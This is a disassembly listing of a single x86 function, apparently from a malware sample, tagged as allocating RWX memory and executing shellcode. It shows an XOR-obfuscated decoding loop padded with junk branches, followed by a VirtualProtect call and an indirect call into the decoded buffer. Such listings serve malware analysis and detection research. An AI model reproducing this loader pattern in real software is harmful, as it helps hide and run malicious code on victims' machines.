Function at 0x401000
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0xffffffffffffffff
push 0x40141d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5c
mov al, byte [esp + 3]
push ebx
push esi
xor esi, esi
push esi
lea ecx, [esp + 0x38]
mov byte [esp + 0x38], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [esp + 0xb]
push esi
mov byte [esp + 0x28], cl
lea ecx, [esp + 0x28]
mov dword [esp + 0x70], esi
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov dl, byte [esp + 0xb]
push esi
lea ecx, [esp + 0x48]
mov byte [esp + 0x70], 1
mov byte [esp + 0x48], dl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov byte [esp + 0x6c], 2
mov byte [0x48bb80], 0x40
mov word [0x44d340], 0x6755
lea eax, [esp + 0x34]
push 0x48bb88
lea ecx, [esp + 0x58]
push eax
push ecx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
lea edx, [esp + 0x30]
mov bl, 3
push edx
push eax
lea eax, [esp + 0x28]
mov byte [esp + 0x80], bl
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x18
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov byte [esp + 0x6c], 4
mov edx, dword [ecx]
lea ecx, [esp + 0x44]
push edx
push esi
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
push 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x70], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [esp + 0x58]
mov byte [esp + 0x6c], 2
cmp eax, esi
je 0x4010f7
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x4010ee
cmp al, 0xff
je 0x4010ee
dec al
mov byte [ecx], al
jmp 0x4010f7
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea eax, [esp + 0x24]
lea ecx, [esp + 0x34]
push eax
push ecx
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea edx, [esp + 0x2c]
lea eax, [esp + 0x3c]
push edx
push eax
call dword [0x40d174]
add esp, 0x10
test al, al
je 0x401124
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 8
mov dword [esp + 0xc], esi
mov eax, dword [esp + 0xc]
cmp eax, 0xce
jge 0x401289
mov al, byte [0x48bb80]
mov esi, 0xffffa40f
mov cl, byte [esp + 0xc]
sub al, cl
mov cx, word [0x44d340]
mov dx, word [0x44d340]
add ecx, edx
mov word [0x44d340], cx
mov dl, byte [esp + 0xc]
xor al, dl
mov cl, byte [0x44d340]
sub al, cl
mov cx, word [0x44d340]
xor dx, dx
mov dl, al
xor ecx, edx
mov word [0x44d340], cx
mov cx, word [0x44d340]
mov edx, dword [esp + 0xc]
sub ecx, edx
mov word [0x44d340], cx
mov cx, word [0x44d340]
mov dx, word [0x44d340]
add ecx, edx
mov word [0x44d340], cx
mov cl, byte [0x44d340]
add al, cl
add al, 0xd8
mov byte [0x48bb80], al
mov ecx, dword [esp + 0xc]
mov bl, byte [ecx + 0x44b9d6]
xor bl, 0x76
mov dword [esp + 0x10], esi
movsx edx, word [esp + 0x10]
cmp edx, 0xfbf2
jne 0x4011f6
call fcn.0040c6ae
mov al, byte [0x48bb80]
sub bl, al
mov cl, byte [esp + 0xc]
sub bl, cl
mov dl, byte [esp + 0xc]
sub bl, dl
add bl, al
mov dl, byte [esp + 0xc]
xor bl, dl
mov dword [esp + 0x10], 0x2dba
mov ecx, dword [esp + 0x10]
cmp ecx, 0xffffb65f
jne 0x40122a
call fcn.00403f8c
mov al, byte [0x48bb80]
mov byte [esp + 0xb], bl
mov cl, byte [esp + 0xb]
mov edx, dword [esp + 0xc]
mov byte [edx + 0x44d348], cl
mov dword [esp + 0x10], 0xba27
mov dword [esp + 0x14], 0xd9bc
mov dword [esp + 0x18], 0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
cmp ecx, edx
jne 0x40126e
call fcn.00403b22
mov al, byte [0x48bb80]
mov ecx, dword [esp + 0xc]
inc ecx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
cmp ecx, 0xce
jl 0x401154
xor esi, esi
mov eax, dword [esp + 0x38]
cmp eax, esi
je 0x4012b9
mov cl, byte [eax - 1]
test cl, cl
je 0x4012b1
cmp cl, 0xff
je 0x4012b1
mov edx, dword [esp + 0x3c]
push esi
push edx
lea ecx, [esp + 0x3c]
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
mov eax, dword [esp + 0x38]
cmp eax, esi
je 0x4012b9
mov byte [eax - 1], 0xff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
movsx ecx, byte [eax + 8]
movsx eax, byte [eax + 4]
add ecx, eax
cmp ecx, 0xdd
je 0x4012f5
cmp ecx, 0xd8
je 0x4012f5
mov ecx, dword [0x44d010]
mov eax, dword [0x44d014]
push 0x44d418
sub ecx, eax
push 0x40
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x401325
mov cl, byte [eax - 1]
test cl, cl
je 0x40131d
cmp cl, 0xff
je 0x40131d
mov edx, dword [esp + 0x2c]
push esi
push edx
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x401325
mov byte [eax - 1], 0xff
mov dword [0x44d344], 0x44d41c
mov dword [0x48bb84], 0x44d3e7
push 0x44d41c
push 0x40d270
mov eax, dword [0x48bb84]
call eax
mov ecx, dword [esp + 0x50]
add esp, 8
cmp ecx, esi
je 0x401371
mov al, byte [ecx - 1]
test al, al
je 0x401367
cmp al, 0xff
je 0x401367
dec al
mov byte [ecx - 1], al
jmp 0x401371
dec ecx
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x48], esi
cmp ecx, esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], esi
je 0x4013a1
mov al, byte [ecx - 1]
test al, al
je 0x401397
cmp al, 0xff
je 0x401397
dec al
mov byte [ecx - 1], al
jmp 0x4013a1
dec ecx
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
cmp ecx, esi
pop esi
pop ebx
je 0x4013e0
mov al, byte [ecx - 1]
test al, al
je fcn.004013d6
cmp al, 0xff
je fcn.004013d6
dec al
mov byte [ecx - 1], al
mov ecx, dword [esp + 0x5c]
mov dword fs:[0], ecx
add esp, 0x68
ret